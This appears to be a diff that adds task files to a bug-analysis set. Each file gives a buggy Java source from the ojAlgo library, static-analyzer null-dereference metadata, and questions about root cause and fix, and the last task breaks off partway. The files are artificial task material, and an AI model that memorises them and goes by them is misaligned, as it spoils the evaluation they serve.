+++ b/inferredbugs-3776/instruction.md
@@ -0,0 +1,269 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ojAlgo
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1997-2020 Optimatika
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package org.ojalgo.ann;
+
+import java.util.Arrays;
+import java.util.Iterator;
+
+import org.ojalgo.ProgrammingError;
+import org.ojalgo.matrix.store.Primitive64Store;
+import org.ojalgo.structure.Access1D;
+import org.ojalgo.structure.Access2D;
+import org.ojalgo.structure.Structure2D;
+
+/**
+ * An Artificial Neural Network (ANN) builder/trainer.
+ *
+ * @author apete
+ */
+public final class NetworkBuilder extends NetworkUser {
+
+    private ArtificialNeuralNetwork.Error myError = ArtificialNeuralNetwork.Error.HALF_SQUARED_DIFFERENCE;
+    private final Primitive64Store[] myGradients;
+    private double myLearningRate = 1.0;
+
+    NetworkBuilder(final int numberOfInputNodes, final int... outputNodesPerCalculationLayer) {
+
+        super(new ArtificialNeuralNetwork(numberOfInputNodes, outputNodesPerCalculationLayer));
+
+        if (outputNodesPerCalculationLayer.length < 1) {
+            ProgrammingError.throwWithMessage("There must be at least 1 layer!");
+        }
+
+        myGradients = new Primitive64Store[1 + outputNodesPerCalculationLayer.length];
+        myGradients[0] = Primitive64Store.FACTORY.make(numberOfInputNodes, 1);
+        for (int l = 0; l < outputNodesPerCalculationLayer.length; l++) {
+            myGradients[1 + l] = Primitive64Store.FACTORY.make(outputNodesPerCalculationLayer[l], 1);
+        }
+    }
+
+    /**
+     * @param layer 0-based index among the calculation layers (excluding the input layer)
+     * @param activator The activator function to use
+     */
+    public NetworkBuilder activator(final int layer, final ArtificialNeuralNetwork.Activator activator) {
+        this.getLayer(layer).setActivator(activator);
+        return this;
+    }
+
+    public NetworkBuilder activators(final ArtificialNeuralNetwork.Activator activator) {
+        for (int i = 0, limit = this.depth(); i < limit; i++) {
+            this.getLayer(i).setActivator(activator);
+        }
+        return this;
+    }
+
+    public NetworkBuilder activators(final ArtificialNeuralNetwork.Activator... activators) {
+        for (int i = 0, limit = activators.length; i < limit; i++) {
+            this.getLayer(i).setActivator(activators[i]);
+        }
+        return this;
+    }
+
+    public NetworkBuilder bias(final int layer, final int output, final double bias) {
+        this.getLayer(layer).setBias(output, bias);
+        return this;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (this == obj) {
+            return true;
+        }
+        if (!super.equals(obj)) {
+            return false;
+        }
+        if (!(obj instanceof NetworkBuilder)) {
+            return false;
+        }
+        NetworkBuilder other = (NetworkBuilder) obj;
+        if (myError != other.myError) {
+            return false;
+        }
+        if (!Arrays.equals(myGradients, other.myGradients)) {
+            return false;
+        }
+        if (Double.doubleToLongBits(myLearningRate) != Double.doubleToLongBits(other.myLearningRate)) {
+            return false;
+        }
+        return true;
+    }
+
+    public NetworkBuilder error(final ArtificialNeuralNetwork.Error error) {
+        myError = error;
+        return this;
+    }
+
+    @Override
+    public int hashCode() {
+        final int prime = 31;
+        int result = super.hashCode();
+        result = (prime * result) + ((myError == null) ? 0 : myError.hashCode());
+        result = (prime * result) + Arrays.hashCode(myGradients);
+        long temp;
+        temp = Double.doubleToLongBits(myLearningRate);
+        result = (prime * result) + (int) (temp ^ (temp >>> 32));
+        return result;
+    }
+
+    public NetworkBuilder rate(final double rate) {
+        myLearningRate = rate;
+        return this;
+    }
+
+    @Override
+    public Structure2D[] structure() {
+        return super.structure();
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder builder = new StringBuilder();
+        builder.append("NetworkBuilder [structure()=");
+        builder.append(Arrays.toString(this.structure()));
+        builder.append(", Error=");
+        builder.append(myError);
+        builder.append(", LearningRate=");
+        builder.append(myLearningRate);
+        builder.append("]");
+        return builder.toString();
+    }
+
+    public void train(final Access1D<Double> givenInput, final Access1D<Double> targetOutput) {
+
+        Access1D<Double> current = this.invoke(givenInput);
+
+        myGradients[0].fillMatching(givenInput);
+        myGradients[myGradients.length - 1].fillMatching(targetOutput, myError.getDerivative(), current);
+
+        for (int k = this.depth() - 1; k >= 0; k--) {
+
+            CalculationLayer layer = this.getLayer(k);
+
+            Access1D<Double> input = k == 0 ? givenInput : this.getOutput(k - 1);
+            Primitive64Store output = this.getOutput(k);
+
+            Primitive64Store upstreamGradient = myGradients[k];
+            Primitive64Store downstreamGradient = myGradients[k + 1];
+
+            layer.adjust(input, downstreamGradient, -myLearningRate, upstreamGradient, output);
+        }
+    }
+
+    /**
+     * Note that the required {@link Iterable}:s can be obtained from calling {@link Access2D#rows()} or
+     * {@link Access2D#columns()} on anything "2D".
+     */
+    public void train(final Iterable<? extends Access1D<Double>> givenInputs, final Iterable<? extends Access1D<Double>> targetOutputs) {
+
+        Iterator<? extends Access1D<Double>> iterI = givenInputs.iterator();
+        Iterator<? extends Access1D<Double>> iterO = targetOutputs.iterator();
+
+        while (iterI.hasNext() && iterO.hasNext()) {
+            this.train(iterI.next(), iterO.next());
+        }
+    }
+
+    public NetworkBuilder weight(final int layer, final int input, final int output, final double weight) {
+        this.getLayer(layer).setWeight(input, output, weight);
+        return this;
+    }
+
+    double error(final Access1D<?> target, final Access1D<?> current) {
+        return myError.invoke(target, current);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `current` last assigned on line 153 could be null and is dereferenced by call to `fillMatching(...)` at line 156.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NetworkBuilder.train(Primitive64Store,Primitive64Store)
+
+### Procedure Id:
+org.ojalgo.ann.NetworkBuilder.train(org.ojalgo.matrix.store.Primitive64Store,org.ojalgo.matrix.store.1f97f732f56a1eb000575f8ad8e0e1f5
+
+### File:
+src/org/ojalgo/ann/NetworkBuilder.java
+
+### Key:
+NetworkBuilder.java|train|NULL_DEREFERENCE
+
+### Node Key:
+73c805081ebb869919062425f227b282
+
+### Hash:
+8191113bd6b292a26d45a6ea582d3ed8
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3777/instruction.md b/inferredbugs-3777/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e6f87fede7c320d743d16817fd8a49567f4b136a
--- /dev/null
+++ b/inferredbugs-3777/instruction.md
@@ -0,0 +1,459 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ojAlgo
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1997-2015 Optimatika (www.optimatika.se)
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package org.ojalgo.matrix.decomposition;
+
+import org.ojalgo.access.Access2D;
+import org.ojalgo.access.Structure2D;
+import org.ojalgo.array.Array1D;
+import org.ojalgo.constant.PrimitiveMath;
+import org.ojalgo.function.BinaryFunction;
+import org.ojalgo.matrix.store.ElementsSupplier;
+import org.ojalgo.matrix.store.MatrixStore;
+import org.ojalgo.matrix.store.PhysicalStore;
+import org.ojalgo.netio.BasicLogger;
+import org.ojalgo.scalar.Scalar;
+
+abstract class SingularValueDecomposition<N extends Number & Comparable<N>> extends GenericDecomposition<N> implements SingularValue<N> {
+
+    private final BidiagonalDecomposition<N> myBidiagonal;
+    private transient MatrixStore<N> myD;
+    private boolean myFullSize = false;
+    private transient MatrixStore<N> myInverse;
+    private transient MatrixStore<N> myQ1;
+    private transient MatrixStore<N> myQ2;
+    private transient Array1D<Double> mySingularValues;
+    private boolean mySingularValuesOnly = false;
+    private boolean myTransposed = false;
+
+    @SuppressWarnings("unused")
+    private SingularValueDecomposition(final DecompositionStore.Factory<N, ? extends DecompositionStore<N>> aFactory) {
+        this(aFactory, null);
+    }
+
+    protected SingularValueDecomposition(final DecompositionStore.Factory<N, ? extends DecompositionStore<N>> aFactory,
+            final BidiagonalDecomposition<N> aBidiagonal) {
+
+        super(aFactory);
+
+        myBidiagonal = aBidiagonal;
+    }
+
+    public boolean computeValuesOnly(final ElementsSupplier<N> matrix) {
+        return this.compute(matrix, true, false);
+    }
+
+    public boolean decompose(final ElementsSupplier<N> matrix) {
+        return this.compute(matrix, false, this.isFullSize());
+    }
+
+    public double getCondition() {
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+
+        return tmpSingularValues.doubleValue(0) / tmpSingularValues.doubleValue(tmpSingularValues.length - 1);
+    }
+
+    public MatrixStore<N> getD() {
+
+        if ((myD == null) && this.isComputed()) {
+            myD = this.makeD();
+        }
+
+        return myD;
+    }
+
+    public double getFrobeniusNorm() {
+
+        double retVal = PrimitiveMath.ZERO;
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+        double tmpVal;
+
+        for (int i = tmpSingularValues.size() - 1; i >= 0; i--) {
+            tmpVal = tmpSingularValues.doubleValue(i);
+            retVal += tmpVal * tmpVal;
+        }
+
+        return Math.sqrt(retVal);
+    }
+
+    public MatrixStore<N> getInverse() {
+
+        return this.getInverse(this.preallocate(new Structure2D() {
+
+            public long countRows() {
+                return myTransposed ? myBidiagonal.getColDim() : myBidiagonal.getRowDim();
+            }
+
+            public long countColumns() {
+                return myTransposed ? myBidiagonal.getRowDim() : myBidiagonal.getColDim();
+            }
+        }));
+    }
+
+    public MatrixStore<N> getInverse(final DecompositionStore<N> preallocated) {
+
+        if (myInverse == null) {
+
+            final MatrixStore<N> tmpQ1 = this.getQ1();
+            final Array1D<Double> tmpSingulars = this.getSingularValues();
+            final MatrixStore<N> tmpQ2 = this.getQ2();
+
+            final int tmpRowDim = (int) tmpSingulars.count();
+            final int tmpColDim = (int) tmpQ1.countRows();
+            final PhysicalStore<N> tmpMtrx = this.makeZero(tmpRowDim, tmpColDim);
+
+            double tmpValue;
+            final int rank = this.getRank();
+            for (int i = 0; i < rank; i++) {
+                tmpValue = tmpSingulars.doubleValue(i);
+                for (int j = 0; j < tmpColDim; j++) {
+                    tmpMtrx.set(i, j, tmpQ1.toScalar(j, i).conjugate().divide(tmpValue).getNumber());
+                }
+            }
+
+            preallocated.fillByMultiplying(tmpQ2, tmpMtrx);
+            myInverse = preallocated;
+        }
+
+        return myInverse;
+    }
+
+    private MatrixStore<N> getTruncatedInverse(final DecompositionStore<N> preallocated) {
+
+        if (myInverse == null) {
+
+            final MatrixStore<N> tmpQ1 = this.getQ1();
+            final Array1D<Double> tmpSingulars = this.getSingularValues();
+            final MatrixStore<N> tmpQ2 = this.getQ2();
+
+            final PhysicalStore<N> tmpMtrx = tmpQ2.copy();
+
+            final Scalar.Factory<N> tmpScalar = this.scalar();
+            final BinaryFunction<N> tmpDivide = this.function().divide();
+            final N tmpZero = tmpScalar.zero().getNumber();
+
+            final int rank = this.getRank();
+            for (int i = 0; i < rank; i++) {
+                tmpMtrx.modifyColumn(0L, i, tmpDivide.second(tmpScalar.cast(tmpSingulars.doubleValue(i))));
+            }
+            final long tmpCountColumns = tmpMtrx.countColumns();
+            for (int i = rank; i < tmpCountColumns; i++) {
+                tmpMtrx.fillColumn(0L, i, tmpZero);
+            }
+
+            preallocated.fillByMultiplying(tmpMtrx, tmpQ1.conjugate());
+            myInverse = preallocated;
+        }
+
+        return myInverse;
+    }
+
+    public double getKyFanNorm(final int k) {
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+
+        double retVal = PrimitiveMath.ZERO;
+
+        for (int i = Math.min(tmpSingularValues.size(), k) - 1; i >= 0; i--) {
+            retVal += tmpSingularValues.doubleValue(i);
+        }
+
+        return retVal;
+    }
+
+    public double getOperatorNorm() {
+        return this.getSingularValues().doubleValue(0);
+    }
+
+    public MatrixStore<N> getQ1() {
+
+        if ((myQ1 == null) && !mySingularValuesOnly && this.isComputed()) {
+            if (myTransposed) {
+                myQ1 = this.makeQ2();
+            } else {
+                myQ1 = this.makeQ1();
+            }
+        }
+
+        return myQ1;
+    }
+
+    public MatrixStore<N> getQ2() {
+
+        if ((myQ2 == null) && !mySingularValuesOnly && this.isComputed()) {
+            if (myTransposed) {
+                myQ2 = this.makeQ1();
+            } else {
+                myQ2 = this.makeQ2();
+            }
+        }
+
+        return myQ2;
+    }
+
+    public int getRank() {
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+        int retVal = tmpSingularValues.size();
+
+        // Tolerance based on min-dim but should be max-dim
+        final double tmpTolerance = retVal * tmpSingularValues.doubleValue(0) * PrimitiveMath.MACHINE_EPSILON;
+
+        for (int i = retVal - 1; i >= 0; i--) {
+            if (tmpSingularValues.doubleValue(i) <= tmpTolerance) {
+                retVal--;
+            } else {
+                return retVal;
+            }
+        }
+
+        return retVal;
+    }
+
+    public Array1D<Double> getSingularValues() {
+
+        if ((mySingularValues == null) && this.isComputed()) {
+            mySingularValues = this.makeSingularValues();
+        }
+
+        return mySingularValues;
+    }
+
+    public double getTraceNorm() {
+        return this.getKyFanNorm(this.getSingularValues().size());
+    }
+
+    public MatrixStore<N> invert(final Access2D<?> original) {
+        this.decompose(this.wrap(original));
+        return this.getInverse();
+    }
+
+    public MatrixStore<N> invert(final Access2D<?> original, final DecompositionStore<N> preallocated) {
+        this.decompose(this.wrap(original));
+        return this.getInverse(preallocated);
+    }
+
+    public boolean isFullSize() {
+        return myFullSize;
+    }
+
+    public DecompositionStore<N> preallocate(final Structure2D template) {
+        return this.allocate(template.countColumns(), template.countRows());
+    }
+
+    public DecompositionStore<N> preallocate(final Structure2D templateBody, final Structure2D templateRHS) {
+        return this.allocate(templateRHS.countRows(), templateRHS.countColumns());
+    }
+
+    @Override
+    public void reset() {
+
+        super.reset();
+
+        myBidiagonal.reset();
+
+        myD = null;
+        myQ1 = null;
+        myQ2 = null;
+
+        myInverse = null;
+
+        mySingularValuesOnly = false;
+        myTransposed = false;
+    }
+
+    public void setFullSize(final boolean fullSize) {
+        myFullSize = fullSize;
+    }
+
+    public MatrixStore<N> solve(final Access2D<?> body, final Access2D<?> rhs) {
+        this.decompose(this.wrap(body));
+        return this.solve(this.wrap(rhs));
+    }
+
+    public MatrixStore<N> solve(final Access2D<?> body, final Access2D<?> rhs, final DecompositionStore<N> preallocated) {
+        this.decompose(this.wrap(body));
+        return this.solve(rhs, preallocated);
+    }
+
+    public final MatrixStore<N> solve(final ElementsSupplier<N> rhs) {
+        return this.getInverse().multiply(rhs.get());
+    }
+
+    public MatrixStore<N> solve(final ElementsSupplier<N> rhs, final DecompositionStore<N> preallocated) {
+        preallocated.fillByMultiplying(this.getInverse(), rhs.get());
+        return preallocated;
+    }
+
+    protected boolean compute(final ElementsSupplier<N> matrix, final boolean singularValuesOnly, final boolean fullSize) {
+
+        this.reset();
+
+        if (matrix.countRows() >= matrix.countColumns()) {
+            myTransposed = false;
+        } else {
+            myTransposed = true;
+        }
+
+        mySingularValuesOnly = singularValuesOnly;
+
+        boolean retVal = false;
+
+        try {
+
+            retVal = this.doCompute(myTransposed ? matrix.get().conjugate() : matrix, singularValuesOnly, fullSize);
+
+        } catch (final Exception anException) {
+
+            BasicLogger.error(anException.toString());
+
+            this.reset();
+
+            retVal = false;
+        }
+
+        return this.computed(retVal);
+    }
+
+    protected boolean computeBidiagonal(final ElementsSupplier<N> matrix, final boolean fullSize) {
+        myBidiagonal.setFullSize(fullSize);
+        return myBidiagonal.decompose(matrix);
+    }
+
+    protected abstract boolean doCompute(ElementsSupplier<N> aMtrx, boolean singularValuesOnly, boolean fullSize);
+
+    protected DiagonalAccess<N> getBidiagonalAccessD() {
+        return myBidiagonal.getDiagonalAccessD();
+    }
+
+    protected DecompositionStore<N> getBidiagonalQ1() {
+        return (DecompositionStore<N>) myBidiagonal.getQ1();
+    }
+
+    protected DecompositionStore<N> getBidiagonalQ2() {
+        return (DecompositionStore<N>) myBidiagonal.getQ2();
+    }
+
+    protected boolean isTransposed() {
+        return myTransposed;
+    }
+
+    protected abstract MatrixStore<N> makeD();
+
+    protected abstract MatrixStore<N> makeQ1();
+
+    protected abstract MatrixStore<N> makeQ2();
+
+    protected abstract Array1D<Double> makeSingularValues();
+
+    void setD(final MatrixStore<N> someD) {
+        myD = someD;
+    }
+
+    void setQ1(final MatrixStore<N> someQ1) {
+        myQ1 = someQ1;
+    }
+
+    void setQ2(final MatrixStore<N> someQ2) {
+        myQ2 = someQ2;
+    }
+
+    void setSingularValues(final Array1D<Double> someSingularValues) {
+        mySingularValues = someSingularValues;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `tmpSingulars` last assigned on line 118 could be null and is dereferenced at line 121.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+MatrixStore SingularValueDecomposition.getInverse(DecompositionStore)
+
+### Procedure Id:
+org.ojalgo.matrix.decomposition.SingularValueDecomposition.getInverse(org.ojalgo.matrix.decompositio.1010ca7221e715af8b6c1542fd6a8386
+
+### File:
+src/org/ojalgo/matrix/decomposition/SingularValueDecomposition.java
+
+### Key:
+SingularValueDecomposition.java|getInverse|NULL_DEREFERENCE
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+9521f918e1a630dc830b8c7dc4e62ed8
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3778/instruction.md b/inferredbugs-3778/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bc064c7d670f38786ff36b4201d3198b17712d2b
--- /dev/null
+++ b/inferredbugs-3778/instruction.md
@@ -0,0 +1,294 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ojAlgo
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1997-2020 Optimatika
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package org.ojalgo.ann;
+
+import java.util.List;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.junit.jupiter.api.Test;
+import org.ojalgo.TestUtils;
+import org.ojalgo.matrix.store.PhysicalStore.Factory;
+import org.ojalgo.matrix.store.Primitive32Store;
+import org.ojalgo.matrix.store.Primitive64Store;
+import org.ojalgo.netio.BasicLogger;
+import org.ojalgo.structure.Structure2D;
+import org.ojalgo.type.context.NumberContext;
+
+abstract class BackPropagationExample extends ANNTest {
+
+    static final class Data {
+
+        Primitive64Store expected = null;
+        Primitive64Store input = null;
+        final double rate;
+        Primitive64Store target = null;
+
+        Data() {
+            this(1.0);
+        }
+
+        Data(final double rate) {
+            super();
+            this.rate = rate;
+        }
+
+        Data expected(final double... row) {
+            expected = Primitive64Store.FACTORY.rows(row);
+            return this;
+        }
+
+        Data input(final double... row) {
+            input = Primitive64Store.FACTORY.rows(row);
+            return this;
+        }
+
+        Data target(final double... row) {
+            target = Primitive64Store.FACTORY.rows(row);
+            return this;
+        }
+
+    }
+
+    private static final String TEST_DID_NOT_DO_ANYTHING = "Test didn't do anything!";
+
+    public BackPropagationExample() {
+        super();
+    }
+
+    @Test
+    public void testBackpropagation() {
+
+        int counter = 0;
+
+        for (Data triplet : this.getTestCases()) {
+            if ((triplet.input != null) && (triplet.target != null)) {
+                this.deriveTheHardWay(this.getInitialNetwork(Primitive64Store.FACTORY), triplet, this.precision());
+                counter++;
+            }
+        }
+
+        if (counter == 0) {
+            TestUtils.fail(TEST_DID_NOT_DO_ANYTHING);
+        }
+    }
+
+    @Test
+    public void testFeedForward32() {
+        this.doTestFeedForward(Primitive32Store.FACTORY);
+    }
+
+    @Test
+    public void testFeedForward64() {
+        this.doTestFeedForward(Primitive64Store.FACTORY);
+    }
+
+    protected void deriveTheHardWay(final NetworkTrainer builder, final Data triplet, final NumberContext precision) {
+
+        if (DEBUG) {
+            BasicLogger.debug("Weights before training");
+            final AtomicInteger layer = new AtomicInteger();
+            builder.getWeights().forEach(l -> {
+                BasicLogger.debug(layer.toString(), l);
+                layer.incrementAndGet();
+            });
+        }
+
+        double delta = 0.0001;
+
+        Structure2D[] structure = builder.structure();
+
+        Primitive64Store[] weights = new Primitive64Store[structure.length];
+        Primitive64Store[] bias = new Primitive64Store[structure.length];
+
+        for (int layer = 0, limit = structure.length; layer < limit; layer++) {
+
+            Primitive64Store newWeights = weights[layer] = Primitive64Store.FACTORY.make(structure[layer]);
+            Primitive64Store newBias = bias[layer] = Primitive64Store.FACTORY.make(1, structure[layer].countColumns());
+
+            for (int output = 0; output < structure[layer].countColumns(); output++) {
+                for (int input = 0; input < structure[layer].countRows(); input++) {
+
+                    double orgWeight = builder.getWeight(layer, input, output);
+
+                    builder.weight(layer, input, output, orgWeight + delta);
+
+                    double upperError = builder.error(triplet.target, builder.get().invoke(triplet.input));
+                    builder.weight(layer, input, output, orgWeight - delta);
+                    double lowerError = builder.error(triplet.target, builder.get().invoke(triplet.input));
+                    builder.weight(layer, input, output, orgWeight);
+
+                    final double derivative = (upperError - lowerError) / (delta + delta);
+                    newWeights.set(input, output, orgWeight - (triplet.rate * derivative));
+                }
+
+                double orgBias = builder.getBias(layer, output);
+
+                builder.bias(layer, output, orgBias + delta);
+                double upperError = builder.error(triplet.target, builder.get().invoke(triplet.input));
+                builder.bias(layer, output, orgBias - delta);
+                double lowerError = builder.error(triplet.target, builder.get().invoke(triplet.input));
+                builder.bias(layer, output, orgBias);
+
+                final double derivative = (upperError - lowerError) / (delta + delta);
+                newBias.set(output, orgBias - (triplet.rate * derivative));
+            }
+
+            if (DEBUG) {
+                BasicLogger.debug("");
+                BasicLogger.debug("Calculated for layer " + layer);
+                BasicLogger.debug("Weighs", newWeights);
+                BasicLogger.debug("Bias", newBias);
+            }
+        }
+
+        if (DEBUG) {
+            BasicLogger.debug("");
+            BasicLogger.debug("Weights reset/before training");
+            final AtomicInteger layer = new AtomicInteger();
+            builder.getWeights().forEach(l -> {
+                BasicLogger.debug(layer.toString(), l);
+                layer.incrementAndGet();
+            });
+        }
+
+        builder.rate(triplet.rate).train(triplet.input, triplet.target);
+
+        if (DEBUG) {
+            BasicLogger.debug("");
+            BasicLogger.debug("Weights after training");
+            final AtomicInteger layer = new AtomicInteger();
+            builder.getWeights().forEach(l -> {
+                BasicLogger.debug(layer.toString(), l);
+                layer.incrementAndGet();
+            });
+        }
+
+        for (int layer = 0, limit = structure.length; layer < limit; layer++) {
+            for (int output = 0; output < structure[layer].countColumns(); output++) {
+                for (int input = 0; input < structure[layer].countRows(); input++) {
+                    final Primitive64Store expectedWeights = weights[layer];
+                    TestUtils.assertEquals(builder.toString(), expectedWeights.doubleValue(input, output), builder.getWeight(layer, input, output), precision);
+                }
+                TestUtils.assertEquals(builder.toString(), bias[layer].doubleValue(output), builder.getBias(layer, output), precision);
+            }
+        }
+    }
+
+    protected abstract NetworkTrainer getInitialNetwork(Factory<Double, ?> factory);
+
+    protected abstract List<Data> getTestCases();
+
+    protected abstract NumberContext precision();
+
+    void doTestFeedForward(Factory<Double, ?> factory) {
+
+        int counter = 0;
+
+        ArtificialNeuralNetwork network = this.getInitialNetwork(factory).get();
+
+        for (Data triplet : this.getTestCases()) {
+            if ((triplet.input != null) && (triplet.expected != null)) {
+                TestUtils.assertEquals(triplet.expected, network.invoke(triplet.input), this.precision());
+                counter++;
+            }
+        }
+
+        if (counter == 0) {
+            TestUtils.fail(TEST_DID_NOT_DO_ANYTHING);
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `network.invoke(triplet.input)` could be null and is dereferenced by call to `assertEquals(...)` at line 210.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BackPropagationExample.doTestFeedForward(PhysicalStore$Factory)
+
+### Procedure Id:
+org.ojalgo.ann.BackPropagationExample.doTestFeedForward(org.ojalgo.matrix.store.PhysicalStore$Factor.989a158b794cc9a3e9cdeef8e0a512c2
+
+### File:
+test/org/ojalgo/ann/BackPropagationExample.java
+
+### Key:
+BackPropagationExample.java|doTestFeedForward|NULL_DEREFERENCE
+
+### Node Key:
+471a2edb901e769be3ae46e5651fb0cc
+
+### Hash:
+3d6ccb9352267f779e72484030fff57d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3779/instruction.md b/inferredbugs-3779/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..87ddcc1cc2a84775a8bbc6f4763bc5d7d9c8552e
--- /dev/null
+++ b/inferredbugs-3779/instruction.md
@@ -0,0 +1,439 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ojAlgo
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1997-2015 Optimatika (www.optimatika.se)
